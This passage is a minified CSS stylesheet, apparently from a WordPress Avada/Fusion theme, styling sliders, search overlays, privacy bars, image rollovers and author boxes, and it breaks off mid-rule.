h3.timeline-title{color:#747474;font-size:13px}.reading-box-container{position:relative;z-index:1}.reading-box{position:relative}.tagline-shadow:after,.tagline-shadow:before{bottom:15px;left:10px;width:50%;height:20%;max-width:300px;max-height:100px;position:absolute;content:"";z-index:-1;box-shadow:0 15px 10px rgba(0,0,0,.7);transform:rotate(-3deg)}.tagline-shadow:after{right:10px;left:auto;transform:rotate(3deg)}.tooltip-shortcode{position:relative;display:inline;cursor:pointer;color:#747474}ul.list-icon{list-style:none;margin:0;padding:0;margin-top:10px}ul.list-icon li:before{display:inline-block;height:18px;width:18px;content:" ";float:left;margin-right:0;margin-left:-25px;font-family:awb-icons;font-style:normal;font-weight:400;text-decoration:inherit}ul.list-icon-arrow li:before{content:"\f105"}ul.circle-yes li:before{border-radius:75px;text-align:center;font-size:9px}ul.list-icon-color-light li:before{color:#fff}ul.list-icon li{line-height:18px;margin:0;padding:0;margin-bottom:15px;padding-left:25px}.fusion-post-content .wooslider .overlay-natural.layout-text-bottom .slide-excerpt{bottom:15%}.fusion-post-content .wooslider .overlay-natural.layout-text-top .slide-excerpt{top:15%}.fusion-post-content .wooslider .slide-excerpt .slide-title,.fusion-post-content .wooslider .slide-excerpt .slide-title a{color:#fff}.fusion-post-content .wooslider .overlay-full .slide-excerpt{padding:50px;opacity:.7}.fusion-post-content .wooslider .wooslider-control-thumbs{position:relative;width:auto;margin:33px auto 0;text-align:center}.fusion-post-content .wooslider .wooslider-control-thumbs li{float:none;width:56px}.fusion-post-content .wooslider .wooslider-next,.fusion-post-content .wooslider .wooslider-prev{top:50%;margin-top:-29px}.fusion-post-content .wooslider-type-attachments .wooslider-next,.fusion-post-content .wooslider-type-attachments .wooslider-prev{top:50%;margin-top:-59px}.fusion-post-content .wooslider .overlay-none .slide-excerpt{margin-top:10px}.fusion-post-content .wooslider .overlay-none .slide-excerpt .slide-title,.fusion-post-content .wooslider .overlay-none .slide-excerpt .slide-title a{color:#333}.tabs-vertical{border:0}.tabs-vertical .tabset{border-left:1px solid #d3d3d3;border-top:1px solid #d3d3d3;border-bottom:1px solid #d3d3d3;width:15.74468085%;float:left;height:auto;position:relative;left:1px;z-index:10}.tabs-vertical .tab-hold .tabset li{float:none;width:auto;height:auto;border:0;background:0 0}.tabs-vertical .tab-hold .tabset li a{width:auto;text-indent:0;border-bottom:1px solid #d3d3d3;height:auto;line-height:normal;padding:10px}.tabs-vertical .tab-hold .tabset li:last-child a{border-bottom:0}.tabs-vertical .tab-hold .tabset li.active a{background:#fff;border-width:0;border-style:solid;border-left-width:3px;height:auto;line-height:normal}.tabs-vertical .tabs-container{width:83.93617021%;float:left}.tabs-vertical .tabs-container .tab_content{border:1px solid #d3d3d3;padding:30px}.error-message{color:#f0f0f0;font-size:170px;line-height:1;font-weight:700}.mejs-container.mejs-video{max-width:100%;width:100%;height:auto}.mejs-overlay,.mejs-poster{width:100%;height:100%}.mejs-mediaelement video{position:absolute;top:0;left:0;right:0;bottom:0;width:100%;height:100%}.mejs-container,.mejs-embed,.mejs-embed body{background:0 0}.fullwidthbanner-container{overflow:visible}.tfs-slider .flex-caption{width:97%}.tfs-slider .flex-control-nav{bottom:20px!important}.tfs-slider .buttons a{margin:0;display:inline-block}.tp-simpleresponsive .slotholder,.tp-simpleresponsive .slotholder img{-webkit-backface-visibility:visible;-webkit-transform:none}#learndash_lessons .learndash_topic_dots{float:none}.video-background{position:relative;overflow:hidden}.video-bg{position:relative;padding-bottom:56.25%;height:0;overflow:hidden}.video-bg embed,.video-bg iframe,.video-bg object{position:absolute;top:0;left:0;width:100%;height:100%}.video-content{position:absolute;top:0;padding:15px;width:100%}.bbp-arrow{margin-top:-1px}.fusion-animated{position:relative;z-index:2000}.fusion-social-links-footer .fusion-social-networks.boxed-icons a.fusion-social-network-icon.awb-custom-image{padding:0;background-color:transparent;border:none;border-radius:0;box-shadow:none}.fusion-social-links-footer .fusion-social-networks.boxed-icons a.fusion-social-network-icon.awb-custom-image img{position:relative}.avada-container h3,.comment-form input[type=submit],.fusion-body .fusion-load-more-button,.project-content .project-info h4,.ticket-selector-submit-btn[type=submit]{font-weight:700}#wrapper .fusion-events-shortcode .fusion-events-meta h4,.fusion-carousel-meta,.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .fusion-product-buttons a,.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .fusion-rollover-categories,.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .fusion-rollover-categories a,.fusion-image-wrapper .fusion-rollover .fusion-rollover-gallery:before,.fusion-image-wrapper .fusion-rollover .fusion-rollover-link:before,.fusion-recent-posts .columns .column .meta,.fusion-rollover-linebreak,.fusion-single-line-meta,.product-buttons a{line-height:1.5}.ua-mobile .avada-not-responsive #wrapper{width:100%!important;overflow:hidden!important}.layout-wide-mode #wrapper{width:100%;max-width:none}#sliders-container{position:relative}.layout-boxed-mode #sliders-container .main-flex[data-parallax="1"]{position:fixed}.avada-video-embed{position:relative}.avada-video-embed .fluid-width-video-wrapper{padding-top:55%}.avada-video-embed .fluid-width-video-wrapper iframe{position:absolute;top:0;left:0;width:100%;height:100%}.fusion-privacy-placeholder{padding:30px;background:rgba(0,0,0,.1);color:rgba(0,0,0,.3);display:flex;align-items:center;justify-content:center;max-width:100%}.fusion-privacy-placeholder .fusion-privacy-placeholder-content{text-align:center}.fusion-privacy-placeholder .fusion-privacy-consent.fusion-button{--button_margin-top:15px}.fluid-width-video-wrapper .fusion-privacy-placeholder{position:absolute;top:0;left:0;width:100%!important;height:100%!important}.fusion-privacy-bar{padding:15px 30px;position:fixed;width:100%;z-index:99999;display:none;max-height:100vh;overflow:auto;scrollbar-width:none}.fusion-privacy-bar::-webkit-scrollbar{display:none}.fusion-privacy-bar .fusion-privacy-bar-acceptance{width:auto}.fusion-privacy-bar-bottom{bottom:0}.fusion-privacy-bar .fusion-privacy-bar-main{display:flex;align-items:center;justify-content:center;margin:0 -15px}.fusion-privacy-bar .fusion-privacy-bar-main .fusion-privacy-bar-acceptance,.fusion-privacy-bar .fusion-privacy-bar-main>span{margin:0 15px}.fusion-privacy-bar .fusion-privacy-bar-full{text-align:center;display:none;line-height:1.5}.fusion-privacy-bar .fusion-privacy-bar-full .fusion-privacy-choices{list-style:none;margin:.7em 0 0;padding:0}.fusion-privacy-bar .fusion-privacy-bar-full .fusion-column{text-align:initial}.fusion-privacy-bar .fusion-privacy-bar-full .fusion-column .column-title{text-transform:uppercase;margin-top:0;margin-bottom:.7em}.searchform .fusion-search-form-content{display:flex;align-items:center;overflow:hidden;width:100%}.searchform .fusion-search-form-content .fusion-search-field{flex-grow:1}.searchform .fusion-search-form-content .fusion-search-field input{background-color:#fff;border:1px solid #d2d2d2;color:#747474;font-size:13px;padding:8px 15px;height:33px;width:100%;box-sizing:border-box;margin:0;outline:0}.searchform .fusion-search-form-content .fusion-search-button input[type=submit]{background:#000;border:none;border-radius:0;color:#fff;font-size:1em;height:33px;line-height:33px;margin:0;padding:0;width:33px;text-indent:0;cursor:pointer;font-family:awb-icons;font-weight:400;text-shadow:none;-webkit-font-smoothing:antialiased;transition:all .2s}.fusion-search-element .searchform.fusion-search-form-clean .fusion-search-form-content,.fusion-search-form-clean .searchform:not(.fusion-search-form-classic) .fusion-search-form-content{position:relative}.fusion-search-element .searchform.fusion-search-form-clean .fusion-search-button,.fusion-search-form-clean .searchform:not(.fusion-search-form-classic) .fusion-search-button{position:absolute}.fusion-search-element .searchform.fusion-search-form-clean .fusion-search-button input[type=submit],.fusion-search-form-clean .searchform:not(.fusion-search-form-classic) .fusion-search-button input[type=submit]{background-color:transparent;color:#aaa9a9}.search-page-search-form-top{padding-bottom:60px;border-bottom:1px solid #e6e5e6;margin-bottom:60px}.search-page-search-form-bottom{padding-top:60px;border-top:1px solid #e6e5e6;margin-top:60px}.search-page-search-form .fusion-search-form{text-align:right}.search-page-search-form .fusion-search-form .fusion-search-form .fusion-search-field input{text-indent:0}.fusion-main-menu-search-overlay .fusion-main-menu>.fusion-menu{display:flex;flex-wrap:wrap;transition:opacity .8s cubic-bezier(.8,0,.25,1),transform .8s cubic-bezier(.8,0,.25,1)}.fusion-main-menu-search-overlay .fusion-main-menu>.fusion-overlay-search{display:flex;visibility:hidden;align-items:center;opacity:0;position:absolute;top:50%;left:50%;transform:translate(-50%,-150%);width:100%;transition:opacity .8s cubic-bezier(.8,0,.25,1),transform .8s cubic-bezier(.8,0,.25,1)}.fusion-main-menu-search-overlay .fusion-main-menu>.fusion-overlay-search .fusion-search-form{flex-grow:2}.fusion-main-menu-search-overlay .fusion-main-menu>.fusion-overlay-search .fusion-close-search{overflow:hidden;position:relative;display:inline-block}.fusion-main-menu-search-overlay .fusion-main-menu>.fusion-overlay-search .fusion-close-search:after,.fusion-main-menu-search-overlay .fusion-main-menu>.fusion-overlay-search .fusion-close-search:before{content:"";position:absolute;top:50%;left:0;height:2px;width:100%;margin-top:-1px}.fusion-main-menu-search-overlay .fusion-main-menu>.fusion-overlay-search .fusion-close-search:before{transform:rotate(45deg)}.fusion-main-menu-search-overlay .fusion-main-menu>.fusion-overlay-search .fusion-close-search:after{transform:rotate(-45deg)}.fusion-main-menu-search-overlay .fusion-main-menu.search-open{overflow:visible}.fusion-main-menu-search-overlay .fusion-main-menu.search-open>.fusion-menu{opacity:0;transform:translateY(100%);visibility:hidden}.fusion-main-menu-search-overlay .fusion-main-menu.search-open>.fusion-overlay-search{opacity:1;visibility:visible;transform:translate(-50%,-50%)}.fusion-main-menu-search-overlay .fusion-main-menu.search-transition{overflow:hidden!important}.fusion-main-menu-search-overlay .fusion-main-menu.search-transition .fusion-menu{visibility:visible!important}.fusion-main-menu-search-overlay .fusion-main-menu.search-transition>.fusion-overlay-search{visibility:visible}.fusion-main-menu-search-overlay .fusion-header-v4.fusion-header-menu-align-right .fusion-overlay-search,.fusion-main-menu-search-overlay .fusion-header-v5.fusion-header-menu-align-right .fusion-overlay-search{right:0;left:auto;transform:translate(0,-150%)}.fusion-main-menu-search-overlay .fusion-header-v4.fusion-header-menu-align-right .search-open .fusion-overlay-search,.fusion-main-menu-search-overlay .fusion-header-v5.fusion-header-menu-align-right .search-open .fusion-overlay-search{transform:translate(0,-50%)}.fusion-main-menu-search-overlay .fusion-header-v4.fusion-header-menu-align-left .fusion-overlay-search,.fusion-main-menu-search-overlay .fusion-header-v5.fusion-header-menu-align-left .fusion-overlay-search{left:0;transform:translate(0,-150%)}.fusion-main-menu-search-overlay .fusion-header-v4.fusion-header-menu-align-left .search-open .fusion-overlay-search,.fusion-main-menu-search-overlay .fusion-header-v5.fusion-header-menu-align-left .search-open .fusion-overlay-search{transform:translate(0,-50%)}.fusion-overlay-search{position:absolute;opacity:0}.fusion-header-has-flyout-menu .fusion-flyout-search .fusion-live-search{position:relative}.fusion-header-has-flyout-menu .fusion-flyout-search .fusion-live-search .fusion-search-form-content{position:relative}.fusion-header-has-flyout-menu .fusion-flyout-search .fusion-live-search .fusion-search-form-content .fusion-search-button{display:block;position:absolute;right:0;background-color:transparent}.fusion-header-has-flyout-menu .fusion-flyout-search .fusion-live-search .fusion-search-form-content .fusion-search-button .fusion-search-submit{display:none}.fusion-header-has-flyout-menu .fusion-flyout-search .fusion-live-search .fusion-search-form-content .fusion-slider-loading{margin:-1.75em 0 0 -3.5em;width:3.5em;height:3.5em;border-top-width:.4em;border-right-width:.4em;border-bottom-width:.4em;border-left-width:.4em}.fusion-live-search .fusion-search-field{z-index:14}.fusion-live-search .fusion-search-button{z-index:14;position:relative}.fusion-live-search .fusion-slider-loading{display:none;margin:-1.2em 0 0 -1.2em;width:2.4em;height:2.4em;border-top:.3em solid rgba(255,255,255,.35);border-right:.3em solid rgba(255,255,255,.35);border-bottom:.3em solid #fff;border-left:.3em solid rgba(255,255,255,.35);pointer-events:none}.fusion-live-search .fusion-search-results-wrapper{position:relative}.fusion-flyout-search .fusion-live-search .fusion-search-results-wrapper{position:absolute;width:calc(100% - 100px);margin-top:62px}.fusion-live-search .fusion-search-results{z-index:-1;visibility:hidden;overflow-y:auto;position:absolute;margin-top:25px;width:100%;max-height:250px;opacity:0;transition:.3s opacity,.3s margin;background-color:#fff;border-style:solid}.fusion-live-search .fusion-search-results.suggestions-added{z-index:2001;visibility:visible;margin-top:0;opacity:1}.fusion-live-search .fusion-search-results.suggestions-empty .fusion-search-result{padding:14px;cursor:default}.fusion-live-search .fusion-search-results.suggestions-empty .fusion-search-result:hover{padding:14px}.fusion-live-search .fusion-search-results.suggestions-transition{visibility:visible}.fusion-live-search.fusion-main-menu-search-dropdown .fusion-main-menu .fusion-search-results.suggestions-added{position:static}.fusion-live-search .fusion-search-result{display:flex;align-items:center;padding:14px 7px;line-height:1.4;border-bottom-style:solid;border-top:none;text-align:initial;cursor:pointer;transition:.2s padding}.fusion-body .fusion-live-search .fusion-search-result{font-family:inherit}.fusion-body .fusion-live-search .fusion-search-result:after{content:""}.fusion-live-search .fusion-search-result:hover{padding:14px 0 14px 14px}.fusion-live-search .fusion-search-result:last-child{border-bottom:none}.fusion-live-search .fusion-search-content,.fusion-live-search .fusion-search-image{padding:0 7px}.fusion-live-search .fusion-search-image{max-width:45px;box-sizing:content-box}.fusion-main-menu .fusion-live-search .fusion-search-image{max-width:35px}.fusion-live-search .fusion-search-post-type{margin-top:.2em;font-size:.9em}.flex-container a:active,.flex-container a:focus,.flexslider a:active,.flexslider a:focus{outline:0}.flex-control-nav,.flex-direction-nav,.flexslider .slides{margin:0;padding:0;list-style:none;z-index:1000}.flexslider{margin:0;padding:0}.flexslider .slides{overflow:hidden}.flexslider .slides li{display:none;-webkit-backface-visibility:hidden}.flexslider .slides img{width:100%;max-width:100%;display:block;-webkit-user-select:none;user-select:none}.flexslider .slides .video-shortcode{margin-bottom:0}.flex-pauseplay span{text-transform:capitalize}.flexslider .slides:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0}html[xmlns] .flexslider .slides{display:block}* html .flexslider .slides{height:1%}.flex-control-nav,.flex-direction-nav,.flexslider .slides{z-index:2}.flexslider{margin:0 0 60px;background-color:transparent;position:relative}.flex-viewport{max-height:2000px;transition:all 1s ease}.loading .flex-viewport{max-height:300px}.carousel li{margin-right:5px}.flex-direction-nav{height:0}.flex-direction-nav a{font-family:awb-icons;width:30px;height:30px;margin:-20px 0 0;background-color:rgba(0,0,0,.5);background-repeat:no-repeat;position:absolute;top:50%;cursor:pointer;opacity:0;transition:all .3s ease;z-index:100;overflow:hidden;text-align:center;line-height:30px;font-size:16px;font-weight:400;-webkit-font-smoothing:none;color:#fff}.flex-direction-nav a:hover{color:#fff}.sidebar .widget .flex-direction-nav a,.sidebar .widget .flex-direction-nav a:hover{color:#fff}.no-opacity .flex-direction-nav a{display:none}.no-opacity .flexslider:hover .flex-direction-nav a{display:block}.flex-direction-nav .flex-next{right:0;text-indent:2px}.flex-direction-nav .flex-prev{left:0;text-indent:-2px}.flexslider:hover .flex-next{opacity:.8;right:0}.flexslider:hover .flex-prev{opacity:.8;left:0}.flexslider:hover .flex-next:hover,.flexslider:hover .flex-prev:hover{opacity:1}.flex-direction-nav .flex-disabled,.main-flex:hover .flex-direction-nav .flex-disabled{opacity:0;cursor:default;display:none;visibility:hidden}.flex-control-nav{width:100%;position:absolute;bottom:0;text-align:center}.fusion-body .flex-control-nav li{margin:0 6px;display:inline-block}.fusion-body .flex-control-paging li a{display:block}.flex-control-paging li a{width:11px;height:11px;display:block;background:#666;background:rgba(0,0,0,.5);cursor:pointer;text-indent:-9999px;border-radius:20px;box-shadow:inset 0 0 3px rgba(0,0,0,.3)}.flex-control-paging li a:hover{background:#333;background:rgba(0,0,0,.7)}.flex-control-paging li a.flex-active{background:#000;background:rgba(0,0,0,.9);cursor:default}.flex-control-thumbs{margin:5px 0 0;position:static;overflow:hidden}.flex-control-thumbs li{width:25%;float:left}.fusion-body .flex-control-thumbs li{margin:0}.flex-control-thumbs img{width:100%;display:block;opacity:.7;cursor:pointer;transition:opacity .2s cubic-bezier(.21,.6,.35,1)}.flex-control-thumbs img:hover{opacity:1}.flex-control-thumbs .flex-active{opacity:1;cursor:default}.flex-caption{position:absolute;background:rgba(0,0,0,.6);width:96%;padding:2%;color:#fff;left:0;bottom:0;margin:0}.main-flex{margin-bottom:0}.col .flexslider{margin:0}.isotope{transition-duration:.8s;transition-property:height,width}.isotope-item{z-index:2}.isotope-hidden.isotope-item{z-index:1}.isotope .isotope-item{transition-duration:.8s;transition-property:top,left,opacity}.isotope .isotope-item.no-transition,.isotope.no-transition,.isotope.no-transition .isotope-item{transition-duration:0s}.fusion-post-content .wooslider{border:0;background:0 0;box-shadow:none;border-radius:0;margin:0 auto;max-width:940px}.wooslider .slide-content{margin:0}.wooslider .wooslider-pauseplay{position:absolute;margin:0;top:auto;bottom:15px}.wooslider .wooslider-control-nav{position:absolute;margin:0;top:auto;bottom:-10px}.tfs-slider .flex-next,.tfs-slider .flex-prev{font-size:25px;-webkit-font-smoothing:antialiased}.main-flex:hover .flex-next,.main-flex:hover .flex-prev,.wooslider:hover .wooslider-next,.wooslider:hover .wooslider-prev{display:block}.main-flex .flex-next,.main-flex .flex-prev,.wooslider .wooslider-next,.wooslider .wooslider-prev{background-color:rgba(0,0,0,.5);background-repeat:no-repeat;width:63px;height:63px;display:none;position:absolute;top:42%;margin:0;color:#fff;font-family:awb-icons;text-align:center;line-height:63px;font-size:36px;font-weight:400;-webkit-font-smoothing:antialiased}.main-flex .flex-prev,.wooslider .wooslider-prev{left:0;padding:0;border:0;text-indent:-5px}.main-flex .flex-next,.wooslider .wooslider-next{right:0;padding:0;border:0;text-indent:5px}#sliders-container .wooslider .slide-content p{margin:0}.fusion-footer-widget-area .wooslider-control-nav li a,.sidebar .wooslider-control-nav li a{padding:0;border:0;background:rgba(0,0,0,.5);margin-right:3px}.fusion-footer-widget-area .wooslider-next,.fusion-footer-widget-area .wooslider-prev,.fusion-post-content .wooslider .wooslider-next,.fusion-post-content .wooslider .wooslider-prev,.sidebar .wooslider-next,.sidebar .wooslider-prev{width:29px;height:29px}.fusion-footer-widget-area .wooslider .wooslider-control-nav,.sidebar .wooslider .wooslider-control-nav{bottom:5px}.fusion-footer-widget-area .widget_wooslider_slideshow_slides .wooslider-control-nav,.sidebar .widget_wooslider_slideshow_slides .wooslider-control-nav{bottom:12px}.fusion-footer-widget-area .slide-excerpt{overflow:hidden;position:absolute;bottom:-50px;padding:0;width:100%;text-align:center}.sidebar .slide-excerpt{bottom:15%;width:100%}.sidebar .slide-excerpt .slide-title{float:none}.sidebar .slide-excerpt .slide-title a{color:#fff;border:none}.sidebar .slide-excerpt .slide-title a:hover{color:#fff}.sidebar .widget .slides li div a{padding:0}.layout-boxed-mode.fusion-top-header.avada-has-boxed-modal-shadow-light .fusion-boxed-shadow,.layout-boxed-mode.fusion-top-header.avada-has-boxed-modal-shadow-light:not(.avada-footer-fx-sticky) #wrapper{box-shadow:0 0 50px 1px rgba(0,0,0,.22)}.layout-boxed-mode.fusion-top-header.avada-has-boxed-modal-shadow-medium .fusion-boxed-shadow,.layout-boxed-mode.fusion-top-header.avada-has-boxed-modal-shadow-medium:not(.avada-footer-fx-sticky) #wrapper{box-shadow:0 0 50px 5px rgba(0,0,0,.35)}.layout-boxed-mode.fusion-top-header.avada-has-boxed-modal-shadow-hard .fusion-boxed-shadow,.layout-boxed-mode.fusion-top-header.avada-has-boxed-modal-shadow-hard:not(.avada-footer-fx-sticky) #wrapper{box-shadow:0 0 50px 10px rgba(0,0,0,.55)}.layout-boxed-mode:not(.fusion-top-header).avada-has-boxed-modal-shadow-light #boxed-wrapper,.layout-boxed-mode:not(.fusion-top-header).avada-has-boxed-modal-shadow-light .fusion-boxed-shadow{box-shadow:0 0 50px 1px rgba(0,0,0,.22)}.layout-boxed-mode:not(.fusion-top-header).avada-has-boxed-modal-shadow-medium #boxed-wrapper,.layout-boxed-mode:not(.fusion-top-header).avada-has-boxed-modal-shadow-medium .fusion-boxed-shadow{box-shadow:0 0 50px 5px rgba(0,0,0,.35)}.layout-boxed-mode:not(.fusion-top-header).avada-has-boxed-modal-shadow-hard #boxed-wrapper,.layout-boxed-mode:not(.fusion-top-header).avada-has-boxed-modal-shadow-hard .fusion-boxed-shadow{box-shadow:0 0 50px 10px rgba(0,0,0,.55)}.layout-boxed-mode.side-header #boxed-wrapper,.layout-boxed-mode.side-header #slidingbar-area .fusion-row,.layout-boxed-mode.side-header .fusion-footer-parallax,.layout-boxed-mode.side-header>#lang_sel_footer{margin-right:auto;margin-left:auto}.fusion-row{margin:0 auto}.fusion-row:after,.fusion-row:before{content:" ";display:table}.fusion-row:after{clear:both}.fusion-columns{margin:0 -15px}.fusion-columns-5 .col-lg-2,.fusion-columns-5 .col-md-2,.fusion-columns-5 .col-sm-2,.fusion-columns-5 .col-xs-2{width:20%}.fusion-block-element{display:block}.fusion-hidden{display:none}.fusion-responsive-img{margin:0}#wrapper #posts-container .fusion-grid-sizer,#wrapper .fusion-grid-sizer{margin:0;padding:0;height:0;min-height:0;visibility:hidden}.fusion-masonry-element-container{background-size:cover;background-position:center center}.fusion-element-grid .fusion-masonry-element-container{padding-top:80%}.fusion-element-landscape .fusion-masonry-element-container{padding-top:40%}.fusion-element-portrait .fusion-masonry-element-container{padding-top:160%}.fusion-masonry-element-container .fusion-image-wrapper>img,.fusion-masonry-element-container .fusion-placeholder-image,.fusion-masonry-element-container>img{display:none}bold,strong{font-weight:bolder}.fusion-video iframe,iframe{border:none}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.screen-reader-text:focus{background-color:#fff;border-radius:3px;box-shadow:0 0 2px 2px rgba(0,0,0,.6);clip:auto!important;-webkit-clip-path:none;clip-path:none;color:#333;display:block;font-size:1rem;font-weight:700;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}mark{background:0 0;color:inherit}.fusion-breadcrumb-prefix{padding-right:5px}.post-password-form input[type=password]{margin:0 10px;padding:8px 15px;width:200px;border:1px solid #d2d2d2;font-size:13px;color:#747474;box-sizing:border-box}.fusion-image-wrapper{overflow:hidden;z-index:1;position:relative}.fusion-image-wrapper:hover .fusion-rollover{opacity:1;transform:translateX(0)}.no-csstransforms .fusion-image-wrapper:hover .fusion-rollover{display:block}.fusion-image-wrapper.fusion-video{display:block}.fusion-image-size-fixed{display:inline-block;max-width:100%;vertical-align:top}.fusion-rollover{display:flex;align-items:center;justify-content:space-around;opacity:0;position:absolute;top:0;right:0;bottom:0;left:0;width:100%;height:100%;line-height:normal;text-align:center;background-image:linear-gradient(to top,#aad75d,#d1e990);transform:translateX(-100%);transition:all .3s ease-in-out;-webkit-transform-style:preserve-3d}.no-csstransforms .fusion-rollover{display:none}.fusion-clean-product-image-wrapper .fusion-rollover-content .view-cart{position:relative;z-index:9}.fusion-woo-slider .fusion-carousel-title-below-image .fusion-product-buttons{position:relative}.fusion-rollover-content{padding:10px;width:90%}.fusion-rollover-content .fusion-rollover-categories,.fusion-rollover-content .fusion-rollover-title,.fusion-rollover-content .price{margin:0;line-height:normal;font-size:13px;color:#333}.fusion-rollover-content .fusion-rollover-title{margin-bottom:3px;margin-top:10px}.fusion-rollover-content .fusion-rollover-categories a{font-size:11px}.fusion-rollover-content .fusion-rollover-categories a:hover{color:#444}.fusion-rollover-content .price{display:inline-block}.fusion-rollover-content .fusion-product-buttons{z-index:99;position:relative}.fusion-rollover-content .fusion-product-buttons a{display:block;margin-top:10px;padding-left:16px;width:auto;line-height:normal;text-align:left;max-width:49%;font-size:12px;box-sizing:border-box;z-index:99}.fusion-carousel-title-below-image .fusion-rollover-content .fusion-product-buttons a{max-width:none}.fusion-rollover-content .fusion-product-buttons a:first-child{float:left}.fusion-rollover-content .fusion-product-buttons a:first-child:before{position:absolute;margin-left:-16px;content:"\f07a";font-family:awb-icons}.fusion-rollover-content .fusion-product-buttons a:last-child{float:right}.fusion-rollover-content .fusion-product-buttons a:last-child:before{position:absolute;margin-left:-16px;content:"\e623";font-family:awb-icons}.fusion-rollover-content .fusion-product-buttons a.added_to_cart{display:none}.fusion-rollover-sep{display:inline-block;vertical-align:middle;height:36px;width:5px}.fusion-rollover-gallery,.fusion-rollover-link{display:inline-block;opacity:.9;position:relative;vertical-align:middle;margin:0;height:36px;width:35px;text-indent:-10000px;background-color:#333;border-radius:50%;background-clip:padding-box}.fusion-rollover-gallery:hover,.fusion-rollover-link:hover{opacity:1}.fusion-rollover-gallery:before,.fusion-rollover-link:before{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);text-indent:0;line-height:normal;text-shadow:none;font-family:awb-icons;font-size:15px;color:#fff;-webkit-font-smoothing:antialiased}.fusion-rollover-link:before{content:"\e619"}.fusion-rollover-gallery:before{content:"\f002"}.fusion-placeholder-image{max-width:100%;background-color:#f6f6f6}.fusion-hidden-content{overflow:hidden;position:absolute;left:-10000px;top:auto;width:1px;height:1px}.fusion-filters{display:none;overflow:hidden;list-style:none;margin-bottom:55px;padding:0;line-height:34px;border-top:1px solid #e7e6e6;border-bottom:1px solid #e7e6e6;align-items:center}.fusion-filter{float:left;margin-right:30px}.fusion-filter.fusion-active a{line-height:31px;border-top:3px solid #65bc7b;color:#65bc7b}.fusion-filter a{display:block}.fusion-load-more-button{display:block;margin-top:20px;width:100%;height:50px;line-height:50px;background-color:#e9eaee;cursor:pointer;text-align:center;font-size:inherit;text-transform:uppercase;border:none;transition:all .2s}.fusion-load-more-button:hover{transition:all .2s}.fusion-portfolio-wrapper .fusion-load-more-button{display:none}.fusion-loading-container{margin-top:20px}.fusion-loading-container .fusion-loading-spinner{display:inline-block}.fusion-loading-container .fusion-spinner-1,.fusion-loading-container .fusion-spinner-2,.fusion-loading-container .fusion-spinner-3{width:12px;height:12px;background-color:#e2e0e0;border-radius:100%;display:inline-block;animation:fusion-bounce-delay 1.4s infinite ease-in-out;animation-fill-mode:both}.fusion-loading-container .fusion-spinner-1{animation-delay:-.32s}.fusion-loading-container .fusion-spinner-2{animation-delay:-.16s}.fusion-loading-container .fusion-loading-msg{display:inline-block;margin-left:7px}@keyframes fusion-bounce-delay{0%,100%,80%{transform:scale(0)}40%{transform:scale(1)}}.fusion-body .wpcf7-form .fusion-slider-loading,.fusion-slider-loading{position:absolute;top:50%;left:50%;margin:-3em 0 0 -3em;color:transparent;font-size:10px;border-top:.5em solid rgba(0,0,0,.2);border-right:.5em solid rgba(0,0,0,.2);border-bottom:.5em solid #333;border-left:.5em solid rgba(0,0,0,.2);animation:fusion-rotate .8s infinite linear}.fusion-body .wpcf7-form .fusion-slider-loading .fusion-slider-loading-text,.fusion-slider-loading .fusion-slider-loading-text{position:absolute}.no-cssanimations .fusion-body .wpcf7-form .fusion-slider-loading,.no-cssanimations .fusion-slider-loading{padding-left:5px;padding-top:15px;color:#000}.fusion-slider-loading,.fusion-slider-loading:after{width:6em;height:6em;border-radius:50%;background-clip:padding-box}@keyframes fusion-rotate{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}.fusion-inline-sep{padding:0 5px}.fusion-inline-sep:last-child{display:none}.post-content p{margin-top:0;margin-bottom:20px}.table-1,.table-2,.tkt-slctr-tbl-wrap-dv{display:block;overflow-x:auto}.fusion-body .quantity{display:flex;align-items:center;justify-content:space-around;border:1px solid;overflow:hidden}.fusion-body .quantity .minus,.fusion-body .quantity .plus,.fusion-body .quantity .qty{float:left;border:0;margin:0;padding:0;text-align:center;vertical-align:middle;border-radius:0;-webkit-appearance:none;-moz-appearance:textfield}.fusion-body .quantity .minus,.fusion-body .quantity .plus{cursor:pointer}.fusion-body .quantity .qty{background:0 0;border-left:1px solid;border-right:1px solid}.fusion-body .quantity .qty -webkit-inner-spin-button,.fusion-body .quantity .qty -webkit-outer-spin-button{-webkit-appearance:none;margin:0}.select-arrow{width:35px;height:33px;line-height:33px;border-left-width:1px;border-left-style:solid;position:absolute;bottom:1px;right:1px;pointer-events:none;z-index:10;font-family:awb-icons;font-size:9px;text-align:center}.avada-select-parent{position:relative;overflow:hidden;margin:0}.fusion-layout-column.avada-select-parent{position:relative}.bbpress .avada-select-parent{overflow:hidden}.avada-select-parent select{border:1px solid #dadada;-webkit-appearance:none;text-overflow:"";box-sizing:border-box;cursor:pointer;display:block;font-size:13px;outline:0;height:auto;padding:9px 15px;position:relative;text-indent:.01px;vertical-align:middle;z-index:5;margin:0;border-radius:0;background-clip:padding-box;min-width:180px}.sidebar .avada-select-parent select{min-width:initial}.widget_archive select,.widget_categories select{width:100%}.select2-container .select2-selection--single .select2-selection__rendered{padding-left:15px;padding-right:34px}.select2-results__option,.select2-search--dropdown{padding-left:15px;padding-right:15px}.select2-search--dropdown .select2-search__field{margin-right:0}.select2-container--default .select2-selection--single{border-radius:0}.select2-container--default .select2-selection--single .select2-selection__arrow{top:50%;right:15px;transform:translateY(-50%)}.select2-dropdown{border-radius:0}#submit,.submit{cursor:pointer}.rich-snippet-hidden{display:none}.fusion-avatar-circle .attachment-recent-works-thumbnail,.fusion-avatar-circle .avatar{border-radius:50%}.fusion-author .fusion-edit-profile{font-size:12px}.fusion-author .fusion-social-networks{display:table-cell;vertical-align:middle;text-align:right;line-height:normal}.fusion-author .fusion-social-networks .fusion-social-network-icon{margin-bottom:0}.fusion-author .fusion-social-networks.boxed-icons .fusion-social-network-icon{margin-bottom:2px}.fusion-author-avatar{float:left;margin-right:20px;max-width:20%}.fusion-author-info{overflow:hidden}.fusion-author-title{margin-top:0;color:#333;font-weight:400}.fusion-author-social{display:table;margin:20px 0 80px;padding:5px 0;width:100%;border-top:1px solid 